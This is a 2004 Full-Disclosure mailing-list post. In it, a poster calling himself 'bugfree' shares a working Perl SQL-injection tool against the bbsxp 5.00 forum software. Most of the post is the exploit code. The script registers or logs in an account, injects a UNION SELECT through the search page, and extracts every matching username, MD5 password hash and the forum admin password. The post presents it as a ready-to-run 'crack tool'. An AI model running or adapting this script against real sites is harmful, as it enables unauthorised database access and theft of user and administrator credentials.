[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
[Full-Disclosure] Php Nuke Hack's
- To: full-disclosure@xxxxxxxxxxxxxxxx, darkydelphi@xxxxxxxxx
- Subject: [Full-Disclosure] Php Nuke Hack's
- From: bug free <bugfree@xxxxxxxxx>
- Date: Tue, 26 Oct 2004 16:56:07 -0400
>Please don't expose yourself.
>This is all I got for you.
>http://www.milw0rm.com/search.php?dong=php-nuke
That is not very cool. See my crack tool for bbsxp forum. It works
well on 5.00, 4.0beta3 and beta4.Your crack crack just like watch
moive. It will register user and get the password for you
automatically. ;)
--
Thanks
bugfree
#!/usr/bin/perl
#############################################
# This tool is used to crack bbsxp 5.00(access, MSSQL)
# Deveoped by bugfree ( www.xxxxxx.org )
# Thanks theAres for his help on debuging
#############################################
use IO::Socket;
use Getopt::Std;
use HTTP::Request::Common;
use HTTP::Cookies;
use LWP;
use LWP::UserAgent;
use HTML::Form;
$version='1.0';
#$username = 'test';
#$password = 'testt';
$namepass = 'test:test';
$username2 = 'zgtqwpmz123';
$password2 = 'gbhnjm';
$fLoginFail = 0;
$fRegistFail =0;
%options=();
getopts("h:u:",\%options);
(defined $options{h} ) || die "Usage(version:" . $version . "):
$0\n\t-h www.abc.com/bbs/\n\t-u username:password\n";
$tmpUrl = $options{h} if defined $options{h};
$namepass = $options{u} if defined $options{u};
@str = split(":", $namepass);
$username = $str[0];
$password = $str[1];
if ( $tmpUrl =~ /(http:\/\/)?([a-z0-9.]+)\/(.*)/i ) {
$webhost = $2;
$webdir = $3;
$webUrl = $webhost . '/' . $webdir .'/';
$webUrl =~ s/\/\//\//;
$webUrl = 'http://' . $webUrl;
}
else {
die "Please use format: -h http://www.target.com/bbs/";
}
print "SQL injection for URL: $webUrl \n";
#Global URL
my $loginPage = $webUrl . 'login.asp';
my $searchPage = $webUrl . 'search.asp';
my $registPage = $webUrl . 'register.asp';
my $cookies = HTTP::Cookies->new();
my $ua = LWP::UserAgent->new;
$ua->cookie_jar( $cookies );
#loginRegist();
webLogin( $username, $password );
if ( $fLoginFail == 1 ) {
loginRegist( $username2, $password2 ); #try 2nd user
if ( $fRegistFail == 1 ) {
$fLoginFail = 0;
webLogin( $username2, $password2 );
if ( $fLoginFail == 1 ) { die "Sorry, Can not login to web \n";
}
}
}
#sql injection
webSearch();
######################
# Functions list
# loginRegist() :register to bbs
# webLogin() : web login
# webSearch() : web login
######################
sub webSearch
{
#injection SQL, Leave a space in the end
$searchxm = 'forumid=0 union all SELECT 1, forum.forumid,
user.userpass, user.username, forum.content, forum.posttime,
forum.postip, forum.replies, forum.Views, forum.icon, forum.goodtopic,
forum.toptopic, forum.locktopic, forum.deltopic, forum.lastname,
forum.lasttime, clubconfig.adminpassword, forum.pollresult ,
forum.multiplicity FROM [user],forum, clubconfig where user.membercode
> 3 OR user.username ';
$request = POST ( $searchPage . '?menu=ok' ,
[
content => 'abcd',
search => 'author',
searchxm => $searchxm,
searchxm2 => 'topic',
TimeLimit => '1',
forumid =>''
],
Referer => $searchPage,
Connection => 'Keep-Alive',
User-Agent => 'Mozilla/4.0',
Host => $webhost
);
$response = $ua->request( $request );
if ( $response->as_string =~ /HTTP\/1.[01] 200/ )
{
print "search Success\n";
%passwdGet = ();
@htmlOut= split("\n",$response->as_string);
foreach $v (@htmlOut)
{
if ( $v =~
/<script>ShowForum\("\d+","([A-Z0-9]{32,32})",".*?","(.*?)",.*<\/script>/
)
{
$passwdGet{$1}=$2;
#print "\tUsername: $2\n\tMD5 passwd: $1" .
"\n";
}
}
while ( my ( $key, $value ) = each %passwdGet )
{
print "\tusername: $value\n\tMD5 passwd: $key\n";
}
}
else
{
print $response->as_string. "\n";
die "search Failed\n";
}
}
sub loginRegist
{
$myusername = $_[0];
$mypassword = $_[1];
$request = POST ( $registPage,
[
username => $myusername,
password => $mypassword,
userpass2 => $mypassword,
usermail => 'fr@xxxxxx',
realname => 'baby',
userface => 'images/face70.gif',
birthday => '',
perlsonal => '',
sign => '',
sex => '',
country => '',
province => '',
city => '',
blood => '',
belief => '',
occupation => '',
marital => '',
education => '',
college => '',
userqq => '',
icq => '',
usrehome => '',
question => '',
answer => ''
],
Referer => $registPage,
Connection => 'Keep-Alive',
User-Agent => 'Mozilla/4.0',
Host => $webhost,
);
$response = $ua->request( $request );
$cookies->extract_cookies( $response );
if ( $response->as_string =~ /HTTP\/1.[01] 200/ )
{
print "Register Success ($myusername, $mypassword)\n";
}
else
{
$fRegistFail = 1;
print "Register Failed ($myusername, $mypassword)\n";
}
}
sub webLogin
{
$myusername = $_[0];
$mypassword = $_[1];
my $request = POST ( $loginPage,
[ menu => 'add',
username => $myusername,
userpass=> $mypassword
],
Referer => $loginPage,
Connection => 'Keep-Alive',
User-Agent => 'Mozilla/4.0',
Host => $webhost
);
$response = $ua->request( $request );
$cookies->extract_cookies( $response );
if ( $response->as_string =~ /HTTP\/1.[01] 200/ )
{
print "Login Success($myusername, $mypassword)\n";
}
else
{
$fLoginFail = 1;
print "Login Failed($myusername, $mypassword)\n"
}
}
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html